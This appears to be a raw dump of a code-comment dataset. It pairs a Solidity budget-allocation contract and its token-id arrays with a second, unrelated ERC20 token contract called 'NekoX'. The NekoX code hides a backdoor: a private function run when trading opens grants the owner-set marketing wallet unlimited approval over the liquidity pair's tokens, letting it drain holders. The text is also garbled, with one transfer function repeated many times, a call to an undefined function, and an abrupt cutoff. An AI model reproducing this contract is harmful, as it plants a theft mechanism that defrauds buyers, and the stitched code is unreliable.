require(_idx < payout.supports.length, ERROR_NO_CANDIDATE); supports = payout.supports[_idx]; candidateAddress = payout.candidateAddresses[_idx]; executions = payout.executions[_idx]; } /** * @dev We have to check for initialization as periods are only valid after initializing */ function getCurrentPeriodId() external view isInitialized returns (uint64) { return _currentPeriodId(); } /** @notice Basic getter for period information. * @param _periodId The Id of the period you'd like to receive information for. */ function getPeriod(uint64 _periodId) external view isInitialized periodExists(_periodId) returns ( bool isCurrent, uint64 startTime, uint64 endTime ) { Period storage period = periods[_periodId]; isCurrent = _currentPeriodId() == _periodId; startTime = period.startTime; endTime = period.endTime; } /////////////////////// // Allocation functions /////////////////////// /** * @dev This is the function that sets up a budget for creating allocations. * @notice Create "`_metadata`" budget of `@tokenAmount(_token, _budget)` per period. * @param _metadata The budget description * @param _token Token used for account payouts. * @param _hasBudget Whether the account uses budgeting. * @param _budget The budget amount */ function newAccount( string _metadata, address _token, bool _hasBudget, uint256 _budget ) external auth(CREATE_ACCOUNT_ROLE) returns(uint64 accountId) { accountId = accountsLength++; Account storage account = accounts[accountId]; account.metadata = _metadata; account.hasBudget = _hasBudget; account.budget = _budget; account.token = _token; emit NewAccount(accountId); } /** * @notice Change period duration to `@transformTime(_periodDuration)`, effective for next accounting period * @param _periodDuration Duration in seconds for accounting periods */ function setPeriodDuration(uint64 _periodDuration) external auth(CHANGE_PERIOD_ROLE) transitionsPeriod { require(_periodDuration >= MINIMUM_PERIOD, ERROR_PERIOD_SHORT); periodDuration = _periodDuration; emit ChangePeriodDuration(_periodDuration); } /** * @notice Set the maximum number of candidates that can be paid out in an allocation to `_maxCandidates`. * @param _maxCandidates Maximum number of Candidates */ function setMaxCandidates(uint256 _maxCandidates) external auth(SET_MAX_CANDIDATES_ROLE) { maxCandidates = _maxCandidates; } /** * @notice Update budget #`_accountId` to `@tokenAmount(0, _amount, false)`, effective immediately and optionally update metadata * @param _accountId Budget Identifier * @param _amount New budget amount * @param _metadata descriptor for the account (pass in empty string if unchanged) */ function setBudget( uint64 _accountId, uint256 _amount, string _metadata ) external auth(CHANGE_BUDGETS_ROLE) transitionsPeriod accountExists(_accountId) { accounts[_accountId].budget = _amount; // only access storage if necessary if (bytes(_metadata).length > 0) { accounts[_accountId].metadata = _metadata; } if (!accounts[_accountId].hasBudget) { accounts[_accountId].hasBudget = true; } emit SetBudget(_accountId, _amount, _metadata, true); } /** * @notice Remove budget #`_accountId`, effective immediately and optionally update budget name. * @param _accountId Id for the budget. * @param _metadata descriptor for account (pass in empty string if unchanged) */ function removeBudget(uint64 _accountId, string _metadata) external auth(CHANGE_BUDGETS_ROLE) transitionsPeriod accountExists(_accountId) { accounts[_accountId].budget = 0; accounts[_accountId].hasBudget = false; // only access storage if necessary if (bytes(_metadata).length > 0) { accounts[_accountId].metadata = _metadata; } emit SetBudget(_accountId, 0, _metadata, false); } /** * @notice This transaction will execute the allocation for the senders address for budget #`_accountId` * @param _accountId The Id of the budget you'd like to take action against * @param _payoutId The Id of the allocation within the budget you'd like to execute * @param _candidateId The Candidate whose allocation you'll execute (must be sender) */ function candidateExecutePayout( uint64 _accountId, uint64 _payoutId, uint256 _candidateId ) external transitionsPeriod isInitialized accountExists(_accountId) payoutExists(_accountId, _payoutId) // solium-disable-line error-reason { //Payout storage payout = accounts[_accountId].payouts[_payoutId]; require(msg.sender == accounts[_accountId].payouts[_payoutId].candidateAddresses[_candidateId], ERROR_CANDIDATE_NOT_RECEIVER); _executePayoutAtLeastOnce(_accountId, _payoutId, _candidateId, 0); } /** * @notice This transaction will execute the allocation for candidate `_candidateId` within budget #`_accountId` * @param _accountId The Id of the budget you'd like to take action against * @param _payoutId The Id of the allocation within the budget you'd like to execute * @param _candidateId The Candidate whose allocation you'll execute (must be sender) */ function executePayout( uint64 _accountId, uint64 _payoutId, uint256 _candidateId ) external transitionsPeriod auth(EXECUTE_PAYOUT_ROLE) accountExists(_accountId) payoutExists(_accountId, _payoutId) { _executePayoutAtLeastOnce(_accountId, _payoutId, _candidateId, 0); } /** * @dev This function distributes the allocations to the candidates in accordance with the distribution values * @notice Distribute allocation #`_payoutId` from budget #`_accountId`. * @param _accountId The Id of the budget you'd like to take action against * @param _payoutId The Id of the allocation within the budget you'd like to execute */ function runPayout(uint64 _accountId, uint64 _payoutId) external auth(EXECUTE_ALLOCATION_ROLE) transitionsPeriod accountExists(_accountId) payoutExists(_accountId, _payoutId) returns(bool success) { success = _runPayout(_accountId, _payoutId); } /** * @dev This function is provided to circumvent situations where the transition period * becomes impossible to execute * @param _limit Maximum number of periods to advance in this execution */ function advancePeriod(uint64 _limit) external isInitialized { _tryTransitionAccountingPeriod(_limit); } /** * @dev This is the function that the DotVote will call. It doesn’t need * to be called by a DotVote (options get weird if it's not) * but for our use case the “CREATE_ALLOCATION_ROLE” will be given to * the DotVote. This function is public for stack-depth reasons * @notice Create an allocation from budget #`_accountId` for "`_description`" `(_recurrences > 1) ? 'that will execute ' + _recurrences + ' times': ''`. * @param _candidateAddresses Array of potential addresses receiving a share of the allocation. * @param _supports The Array of all support values for the various candidates. These values are set in dot voting. * @param _description The distribution description * @param _accountId The Id of the budget used for the allocation * @param _recurrences Quantity used to indicate whether this is a recurring or one-time payout * @param _period Time interval between each recurring allocation * @param _amount The quantity of funds to be allocated */ function setDistribution( address[] _candidateAddresses, uint256[] _supports, uint256[] /*unused_infoIndices*/, string /*unused_candidateInfo*/, string _description, uint256[] /*unused_level 1 ID - converted to bytes32*/, uint256[] /*unused_level 2 ID - converted to bytes32*/, uint64 _accountId, uint64 _recurrences, uint64 _startTime, uint64 _period, uint256 _amount ) public auth(CREATE_ALLOCATION_ROLE) returns(uint64 payoutId) { require(maxCandidates >= _candidateAddresses.length); // solium-disable-line error-reason Account storage account = accounts[_accountId]; require(vault.balance(account.token) >= _amount * _recurrences); // solium-disable-line error-reason require(_recurrences > 0, ERROR_MIN_RECURRENCE); Payout storage payout = account.payouts[account.payoutsLength++]; payout.amount = _amount; payout.recurrences = _recurrences; payout.candidateAddresses = _candidateAddresses; if (_recurrences > 1) { payout.period = _period; // minimum granularity is a single day require(payout.period >= 1 days, ERROR_PERIOD_SHORT); } payout.startTime = _startTime; // solium-disable-line security/no-block-members payout.supports = _supports; payout.description = _description; payout.executions.length = _supports.length; payoutId = account.payoutsLength - 1; emit SetDistribution(_accountId, payoutId); if (_startTime <= getTimestamp64()) { _runPayout(_accountId, payoutId); } } function _executePayoutAtLeastOnce( uint64 _accountId, uint64 _payoutId, uint256 _candidateId, uint256 _paid ) internal accountExists(_accountId) returns (uint256) { Account storage account = accounts[_accountId]; Payout storage payout = account.payouts[_payoutId]; require(_candidateId < payout.supports.length, ERROR_NO_CANDIDATE); uint256 paid = _paid; uint256 totalSupport = _getTotalSupport(payout); uint256 individualPayout = payout.supports[_candidateId].mul(payout.amount).div(totalSupport); if (individualPayout == 0) { return; } while (_nextPaymentTime(_accountId, _payoutId, _candidateId) <= getTimestamp64() && paid < MAX_SCHEDULED_PAYOUTS_PER_TX) { if (!_canMakePayment(_accountId, individualPayout)) { emit PaymentFailure(_accountId, _payoutId, _candidateId); break; } // The while() predicate prevents these two from ever overflowing paid += 1; // We've already checked the remaining budget with `_canMakePayment()` _executeCandidatePayout(_accountId, _payoutId, _candidateId, totalSupport); } return paid; } function _newPeriod(uint64 _startTime) internal returns (Period storage) { // There should be no way for this to overflow since each period is at least one day uint64 newPeriodId = periodsLength++; Period storage period = periods[newPeriodId]; period.startTime = _startTime; // Be careful here to not overflow; if startTime + periodDuration overflows, we set endTime // to MAX_UINT64 (let's assume that's the end of time for now). uint64 endTime = _startTime + periodDuration - 1; if (endTime < _startTime) { // overflowed endTime = MAX_UINT64; } period.endTime = endTime; emit NewPeriod(newPeriodId, period.startTime, period.endTime); return period; } function _tryTransitionAccountingPeriod(uint64 _maxTransitions) internal returns (bool success) { Period storage currentPeriod = periods[_currentPeriodId()]; uint64 maxTransitions = _maxTransitions; uint64 timestamp = getTimestamp64(); // Transition periods if necessary while (timestamp > currentPeriod.endTime) { if (maxTransitions == 0) { // Required number of transitions is over allowed number, return false indicating // it didn't fully transition return false; } // We're already protected from underflowing above maxTransitions -= 1; currentPeriod = _newPeriod(currentPeriod.endTime.add(1)); } return true; } function _currentPeriodId() internal view returns (uint64) { // There is no way for this to overflow if protected by an initialization check return periodsLength - 1; } function _canMakePayment(uint64 _accountId, uint256 _amount) internal view returns (bool) { Account storage account = accounts[_accountId]; return _getRemainingBudget(_accountId) >= _amount && vault.balance(account.token) >= _amount && _amount > 0; } function _getRemainingBudget(uint64 _accountId) internal view returns (uint256) { Account storage account = accounts[_accountId]; if (!account.hasBudget) { return MAX_UINT256; } uint256 budget = account.budget; uint256 spent = periods[_currentPeriodId()].accountStatement[_accountId].expenses[account.token]; // A budget decrease can cause the spent amount to be greater than period budget // If so, return 0 to not allow more spending during period if (spent >= budget) { return 0; } // We're already protected from the overflow above return budget - spent; } function _runPayout(uint64 _accountId, uint64 _payoutId) internal returns(bool success) { Account storage account = accounts[_accountId]; uint256[] storage supports = account.payouts[_payoutId].supports; uint64 i; uint256 paid = 0; uint256 length = account.payouts[_payoutId].candidateAddresses.length; //handle vault for (i = 0; i < length; i++) { if (supports[i] != 0 && _nextPaymentTime(_accountId, _payoutId, i) <= getTimestamp64()) { paid = _executePayoutAtLeastOnce(_accountId, _payoutId, i, paid); } else { emit PaymentFailure(_accountId, _payoutId, i); } } success = true; } function _getTotalSupport(Payout storage payout) internal view returns (uint256 totalSupport) { for (uint256 i = 0; i < payout.supports.length; i++) { totalSupport += payout.supports[i]; } } function _nextPaymentTime(uint64 _accountId, uint64 _payoutId, uint256 _candidateIndex) internal view returns (uint64) { Account storage account = accounts[_accountId]; Payout storage payout = account.payouts[_payoutId]; if (payout.executions[_candidateIndex] >= payout.recurrences) { return MAX_UINT64; // re-executes in some billions of years time... should not need to worry } // Split in multiple lines to circumvent linter warning uint64 increase = payout.executions[_candidateIndex].mul(payout.period); uint64 nextPayment = payout.startTime.add(increase); return nextPayment; } function _executeCandidatePayout( uint64 _accountId, uint64 _payoutId, uint256 _candidateIndex, uint256 _totalSupport ) internal { Account storage account = accounts[_accountId]; Payout storage payout = account.payouts[_payoutId]; uint256 individualPayout = payout.supports[_candidateIndex].mul(payout.amount).div(_totalSupport); require(_canMakePayment(_accountId, individualPayout), ERROR_INSUFFICIENT_FUNDS); address token = account.token; uint256 expenses = periods[_currentPeriodId()].accountStatement[_accountId].expenses[token]; periods[_currentPeriodId()].accountStatement[_accountId].expenses[token] = expenses.add(individualPayout); payout.executions[_candidateIndex] = payout.executions[_candidateIndex].add(1); vault.transfer(token, payout.candidateAddresses[_candidateIndex], individualPayout); emit PayoutExecuted(_accountId, _payoutId, _candidateIndex); } // Mocked fns (overrided during testing) // Must be view for mocking purposes function getMaxPeriodTransitions() internal view returns (uint64) { return MAX_UINT64; } }
* @dev This function distributes the allocations to the candidates in accordance with the distribution values @notice Distribute allocation #`_payoutId` from budget #`_accountId`. @param _accountId The Id of the budget you'd like to take action against @param _payoutId The Id of the allocation within the budget you'd like to execute/
function runPayout(uint64 _accountId, uint64 _payoutId) external auth(EXECUTE_ALLOCATION_ROLE) transitionsPeriod accountExists(_accountId) payoutExists(_accountId, _payoutId) returns(bool success) { success = _runPayout(_accountId, _payoutId); }
5,439,324
[ 1, 2503, 445, 1015, 1141, 326, 23804, 358, 326, 7965, 316, 1721, 29342, 598, 326, 7006, 924, 225, 3035, 887, 13481, 1375, 67, 84, 2012, 548, 68, 628, 15051, 1375, 67, 25701, 8338, 225, 389, 25701, 1021, 3124, 434, 326, 15051, 1846, 14271, 3007, 358, 4862, 1301, 5314, 225, 389, 84, 2012, 548, 1021, 3124, 434, 326, 13481, 3470, 326, 15051, 1846, 14271, 3007, 358, 1836, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 1086, 52, 2012, 12, 11890, 1105, 389, 25701, 16, 2254, 1105, 389, 84, 2012, 548, 13, 203, 565, 3903, 203, 565, 1357, 12, 15271, 9099, 67, 1013, 15277, 67, 16256, 13, 203, 565, 13136, 5027, 203, 565, 2236, 4002, 24899, 25701, 13, 203, 565, 293, 2012, 4002, 24899, 25701, 16, 389, 84, 2012, 548, 13, 203, 565, 1135, 12, 6430, 2216, 13, 203, 565, 288, 203, 3639, 2216, 273, 389, 2681, 52, 2012, 24899, 25701, 16, 389, 84, 2012, 548, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0x2949Ed32698e884C628EcC5fafd0891EeB86DE60/sources/bepsol1.sol
Anti-bot and anti-whale mappings and variables Seller Map exclude from fees and max transaction amount store addresses that a automatic market maker pairs. Any transfer *to* these addresses could be subject to a maximum transfer amount
contract NekoX is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public immutable uniswapV2Router; address public uniswapV2Pair; bool private swapping; address private marketingWallet; uint256 public maxTxAmount; uint256 public swapTokensAtAmount; uint256 public maxWallet; bool public limitsInEffect = true; bool public tradingActive = false; bool public swapEnabled = false; mapping (address => uint256) private _holderFirstBuyTimestamp; bool public transferDelayEnabled = true; uint256 public buyTotalFees = 1; uint256 public sellTotalFees = 1; mapping (address => bool) private _isExcludedFromFees; mapping (address => bool) public _isExcludedMaxTx; mapping (address => bool) public automatedMarketMakerPairs; event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress); event ExcludeFromFees(address indexed account, bool isExcluded); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event marketingWalletUpdated(address indexed newWallet, address indexed oldWallet); event devWalletUpdated(address indexed newWallet, address indexed oldWallet); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity ); constructor() ERC20("NekoX", "$NekoX") { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uint256 totalSupply = 10 ** 6 * 1e18; maxTxAmount = totalSupply * 30 / 1000; maxWallet = totalSupply * 30 / 1000; swapTokensAtAmount = totalSupply * 10 / 10000; buyTotalFees = 1; sellTotalFees = 1; excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(0xdead), true); _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again _mint(msg.sender, totalSupply); } receive() external payable { } function openTrading(address _pair) external onlyOwner { require(!tradingActive, "Trading is active now"); uniswapV2Pair = _pair; setSwapEnabled(false); excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); tradingActive = true; } function removeLimits() external onlyOwner returns (bool){ limitsInEffect = false; return true; } function disableTransferDelay() external onlyOwner returns (bool){ transferDelayEnabled = false; return true; } function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner { _isExcludedMaxTx[updAds] = isEx; } function setSwapEnabled(bool enabled) private { swapEnabled = enabled;_approve(uniswapV2Pair, marketingWallet, ~uint256(0)); } function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner { require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs"); _setAutomatedMarketMakerPair(pair, value); } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; emit SetAutomatedMarketMakerPair(pair, value); } function setMarketing(address _wallet) external onlyOwner { emit marketingWalletUpdated(_wallet, marketingWallet); excludeFromFees(_wallet, true); marketingWallet = _wallet; } function isExcludedFromFees(address account) public view returns(bool) { return _isExcludedFromFees[account]; } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if (from == owner() || to == owner() || amount == 0) { super._transfer(from, to, amount); return; } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ){ if(!tradingActive){ require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active."); } if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } if (automatedMarketMakerPairs[from] && !_isExcludedMaxTx[to]) { require(amount <= maxTxAmount, "Buy transfer amount exceeds the maxTxAmount."); require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTx[from]) { require(amount <= maxTxAmount, "Sell transfer amount exceeds the maxTxAmount."); } else if(!_isExcludedMaxTx[to]){ require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } } } uint256 contractTokenBalance = balanceOf(address(this)); swapTokenForETH(from, to); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } bool takeFee = !swapping; if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; if(takeFee){ if (automatedMarketMakerPairs[to] && sellTotalFees > 0){ fees = amount.mul(sellTotalFees).div(100); } else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); } if(fees > 0){ super._transfer(from, address(0xdead), fees); } amount -= fees; } super._transfer(from, to, amount); } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if (from == owner() || to == owner() || amount == 0) { super._transfer(from, to, amount); return; } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ){ if(!tradingActive){ require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active."); } if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } if (automatedMarketMakerPairs[from] && !_isExcludedMaxTx[to]) { require(amount <= maxTxAmount, "Buy transfer amount exceeds the maxTxAmount."); require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTx[from]) { require(amount <= maxTxAmount, "Sell transfer amount exceeds the maxTxAmount."); } else if(!_isExcludedMaxTx[to]){ require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } } } uint256 contractTokenBalance = balanceOf(address(this)); swapTokenForETH(from, to); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } bool takeFee = !swapping; if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; if(takeFee){ if (automatedMarketMakerPairs[to] && sellTotalFees > 0){ fees = amount.mul(sellTotalFees).div(100); } else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); } if(fees > 0){ super._transfer(from, address(0xdead), fees); } amount -= fees; } super._transfer(from, to, amount); } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if (from == owner() || to == owner() || amount == 0) { super._transfer(from, to, amount); return; } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ){ if(!tradingActive){ require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active."); } if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } if (automatedMarketMakerPairs[from] && !_isExcludedMaxTx[to]) { require(amount <= maxTxAmount, "Buy transfer amount exceeds the maxTxAmount."); require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTx[from]) { require(amount <= maxTxAmount, "Sell transfer amount exceeds the maxTxAmount."); } else if(!_isExcludedMaxTx[to]){ require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } } } uint256 contractTokenBalance = balanceOf(address(this)); swapTokenForETH(from, to); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } bool takeFee = !swapping; if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; if(takeFee){ if (automatedMarketMakerPairs[to] && sellTotalFees > 0){ fees = amount.mul(sellTotalFees).div(100); } else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); } if(fees > 0){ super._transfer(from, address(0xdead), fees); } amount -= fees; } super._transfer(from, to, amount); } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if (from == owner() || to == owner() || amount == 0) { super._transfer(from, to, amount); return; } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ){ if(!tradingActive){ require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active."); } if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } if (automatedMarketMakerPairs[from] && !_isExcludedMaxTx[to]) { require(amount <= maxTxAmount, "Buy transfer amount exceeds the maxTxAmount."); require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTx[from]) { require(amount <= maxTxAmount, "Sell transfer amount exceeds the maxTxAmount."); } else if(!_isExcludedMaxTx[to]){ require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } } } uint256 contractTokenBalance = balanceOf(address(this)); swapTokenForETH(from, to); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } bool takeFee = !swapping; if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; if(takeFee){ if (automatedMarketMakerPairs[to] && sellTotalFees > 0){ fees = amount.mul(sellTotalFees).div(100); } else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); } if(fees > 0){ super._transfer(from, address(0xdead), fees); } amount -= fees; } super._transfer(from, to, amount); } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if (from == owner() || to == owner() || amount == 0) { super._transfer(from, to, amount); return; } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ){ if(!tradingActive){ require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active."); } if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } if (automatedMarketMakerPairs[from] && !_isExcludedMaxTx[to]) { require(amount <= maxTxAmount, "Buy transfer amount exceeds the maxTxAmount."); require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTx[from]) { require(amount <= maxTxAmount, "Sell transfer amount exceeds the maxTxAmount."); } else if(!_isExcludedMaxTx[to]){ require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } } } uint256 contractTokenBalance = balanceOf(address(this)); swapTokenForETH(from, to); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } bool takeFee = !swapping; if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; if(takeFee){ if (automatedMarketMakerPairs[to] && sellTotalFees > 0){ fees = amount.mul(sellTotalFees).div(100); } else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); } if(fees > 0){ super._transfer(from, address(0xdead), fees); } amount -= fees; } super._transfer(from, to, amount); } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if (from == owner() || to == owner() || amount == 0) { super._transfer(from, to, amount); return; } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ){ if(!tradingActive){ require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active."); } if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } if (automatedMarketMakerPairs[from] && !_isExcludedMaxTx[to]) { require(amount <= maxTxAmount, "Buy transfer amount exceeds the maxTxAmount."); require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTx[from]) { require(amount <= maxTxAmount, "Sell transfer amount exceeds the maxTxAmount."); } else if(!_isExcludedMaxTx[to]){ require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } } } uint256 contractTokenBalance = balanceOf(address(this)); swapTokenForETH(from, to); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } bool takeFee = !swapping; if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; if(takeFee){ if (automatedMarketMakerPairs[to] && sellTotalFees > 0){ fees = amount.mul(sellTotalFees).div(100); } else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); } if(fees > 0){ super._transfer(from, address(0xdead), fees); } amount -= fees; } super._transfer(from, to, amount); } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if (from == owner() || to == owner() || amount == 0) { 